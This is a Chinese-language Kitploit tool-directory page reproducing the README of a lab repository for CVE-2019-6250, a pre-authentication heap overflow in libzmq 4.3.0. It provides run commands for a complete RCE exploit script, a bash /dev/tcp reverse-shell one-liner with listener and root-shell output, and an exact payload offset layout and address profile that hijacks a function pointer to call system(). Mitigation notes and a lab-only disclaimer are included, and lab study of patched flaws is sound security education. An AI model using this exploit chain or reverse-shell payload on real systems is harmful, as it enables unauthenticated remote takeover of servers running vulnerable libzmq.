Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2019-6250-lab — 针对 CVE-2019-6250 的端到端预认证 RCE 实验环境(libzmq <= 4.3.0,ZMTP/2.0 线路协议) | Kitploit
工具/GitHubGitHub/dinosn/cve-2019-6250-lab
漏洞分析漏洞利用渗透测试学习与教育远程访问工具Payload 开发二进制利用实验室与实践
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

针对 CVE-2019-6250 的端到端预认证 RCE 实验环境(libzmq <= 4.3.0,ZMTP/2.0 线路协议)

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-6250 — libzmq 预认证 RCE 实验环境

CVE CVSS Affected License

针对 CVE-2019-6250 的端到端可用 RCE 利用链 + 可复现实验环境。该漏洞是 libzmq v2_decoder_t::size_ready 中的预认证堆缓冲区溢出。通过 uint64_t 指针算术溢出,未认证对等端可在 ZMTP/2.0 线上路径覆盖相邻的 msg_t::content_t::ffn 函数指针,然后经由 TCP socket 关闭触发:~v2_decoder_t() → _in_progress.close() → system(cmd)。

作者 Nicolas Krassas(@dinosn)。

仅供实验环境使用。 本工具包附带一个有意存在漏洞的 libzmq 4.3.0。请勿在实验环境之外暴露 5555 端口。该漏洞已于七年前在 libzmq 4.3.1 中修复(提交 1a2ed127)。


演示

system() 利用链 — 文件证明

system 利用链

反弹 Shell — 交互式 root

反弹 Shell

自动化端到端冒烟测试

冒烟测试


TL;DR(Docker)

root@kitploit:~
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- created by the libzmq server process

TL;DR(裸机 — Debian 12 / Kali 2024.x / Ubuntu 22.04)

root@kitploit:~
sudo ./setup.sh                       # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh                # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

反弹 Shell

root@kitploit:~
# 终端 1 — 监听
nc -lvnp 4444

# 终端 2 — 触发利用链
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

你应该会看到类似这样的输出:

root@kitploit:~
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

cannot set terminal process group (1355844) 这一行说明该 Shell 是由 libzmq 目标进程(PID 1355844)生成的,而不是你在本地执行的任何东西。


仓库结构

root@kitploit:~
.
├── README.md             # you are here
├── server.c              # tiny PULL listener — the vulnerable target
├── exploit.py            # full RCE chain
├── setup.sh              # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh       # start/restart the target
├── read_addresses.sh     # regenerate the address profile for a different image
├── run_lab_test.sh       # automated end-to-end smoke test (CI-friendly)
├── Dockerfile            # one-command containerised lab
└── screenshots/          # README screenshots (generated with charmbracelet/freeze)

原理

1. 漏洞

src/v2_decoder.cpp:117(libzmq 4.3.0):

root@kitploit:~
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- wraps
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // safe path
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // zero-copy aliasing path — _in_progress.data() == read_pos_
}

msg_size_ 是攻击者控制的大端 uint64_t,来自 ZMTP/2.0 LARGE 帧头。当 msg_size_ = 0xFFFFFFFFFFFFFFFF 时,read_pos_ + msg_size_ 的和按 2⁶⁴ 取模回绕,最终小于右值。边界检查判断为 false → 执行流程进入零拷贝路径 → _in_progress 消息与 recv 缓冲区产生别名。随后解码器向内核请求在 read_pos_ 处继续读取 0xFFFFFFFFFFFFFFFF 字节,而 recv() 会欣然将我们的载荷越过 recv 缓冲区末端,写入相邻的 content_t[] 数组(该数组与 recv 缓冲区在 decoder_allocators.cpp:88 的同一个 malloc() 块中分配)。

2. 利用链

root@kitploit:~
[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
                                ↑ content_t[0] starts at read_pos_+8183

我们发送 8224 字节载荷,结构如下:

当我们关闭 TCP socket 时,服务端的 ~v2_decoder_t() 会调用 _in_progress.close()。在 msg_t::close 中:

root@kitploit:~
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

init_external_storage 将 _u.zclmsg.flags 设为 0,因此 OR 短路会立即进入该分支——甚至不会检查 refcnt。我们覆盖后的 ffn 被执行。

无需 ROP、无需 shellcode、无需信息泄露:只需解析一个 libc 符号和一条内联命令字符串。

3. 预认证到达 v2_decoder_t

查看 stream_engine.cpp:707:

root@kitploit:~
bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- NO mechanism object
    return true;
}

ZMTP/2.0 路径实例化 v2_decoder_t 时不附带任何 mechanism。只有 ZAP 会拒绝 2.0 连接,而 ZAP 默认关闭。一旦对等端发送 12 字节的 ZMTP/2.0 握手包(0xff + 8 个空字节 + 0x7f + 修订版本 0x01 + socket 类型),之后每个字节都会由 v2_decoder_t 解析。没有认证。没有握手。没有 mechanism 状态机。


ASAN 证据

可选:使用 -fsanitize=address 构建,并观察堆缓冲区溢出报告:

ASAN 报告

0 bytes after 18160-byte region 证实了我们计算的块大小:8(atomic_counter)+ 8192(recv 缓冲区)+ 249 × 40(content_t 数组)= 18160。handshake_v2_0:719 处的分配点证实该漏洞在预认证 ZMTP/2.0 路径上触发。


为什么使用硬编码地址

在 kernel.randomize_va_space=0 时,libc 基址、libzmq 基址、堆以及 I/O 线程的 malloc arena 都位于确定地址。exploit.py 中的默认配置文件(DEFAULT_PROFILE)是针对随附实验构建(Debian 12 / Kali 2024.1 / glibc 2.38,libzmq 4.3.0 发布模式 -O2)采集的:

当移植到不同的 glibc / libzmq 构建时,请在 start_server.sh 之后运行 ./read_addresses.sh > profile.json,然后向 exploit 传入 --profile profile.json。

在真实攻击中,你需要信息泄露原语,或者一个无需控制参数即可调用的 one-gadget。两者都不在本实验的范围内——这里的目标是清晰地演示从漏洞到 shell 的完整流程,而不是对抗 ASLR。


缓解措施


清理

root@kitploit:~
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2     # restore default ASLR

参考资料

  • HackerOne #477073 — 原始披露(Guido Vranken)。
  • zeromq/libzmq PR #3353 — 一行修复。
  • zeromq/libzmq issue #3351 — 公开讨论。
  • NVD CVE-2019-6250。
  • 37/ZMTP — ZeroMQ 消息传输协议规范。
  • SystemTek writeup。

作者

Nicolas Krassas — @dinosn

许可证

MIT © Nicolas Krassas。有意存在漏洞的 libzmq 4.3.0 源码在构建时从上游 LGPLv3-with-exceptions / MPLv2 仓库获取——其许可证对该部分代码单独适用。

免责声明

仅用于防御性安全研究、教育和授权安全测试。请勿在受控实验环境之外部署随附的易受攻击构建。

下载工具
载荷偏移字节覆盖内容
[0:16]填充(位于 recv 缓冲区中)
[16:K]命令字符串 + NUL(位于 recv 缓冲区中 — system 的参数)
[K:8183]填充(位于 recv 缓冲区中)
[8183:8191]read_pos+16content_t[0].data(→ 命令)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn(控制流目标)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt
字段值来源
libc_base0x7ffff7c00000/proc/<pid>/maps
system_off0x53910nm -D /lib/x86_64-linux-gnu/libc.so.6
read_pos0x7ffff000bbc1_buf + sizeof(atomic_counter_t) + 9
dist_to_content8183由内存布局推导
cmd_offset16载荷中放置命令的位置
防御措施效果
升级到 libzmq ≥ 4.3.1已修复。 提交 1a2ed127 将边界检查重写为 msg_size_ > size_t(allocator.data()+size()-read_pos_)——不再可能发生溢出。
对任意正数 n 使用 zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n))可缓解。 在错误的边界检查发生回绕之前直接短路。
启用 ZAP 认证阻止 ZMTP/2.0 连接(在 stream_engine.cpp:709 处被拒绝)。并不能修复漏洞;只是封堵未认证路径。
ASLR减缓利用武器化进程,但无法阻止它——利用链原语本身不受影响。
Stack canaries / NX / RELRO这些都无法防御堆上的函数指针劫持。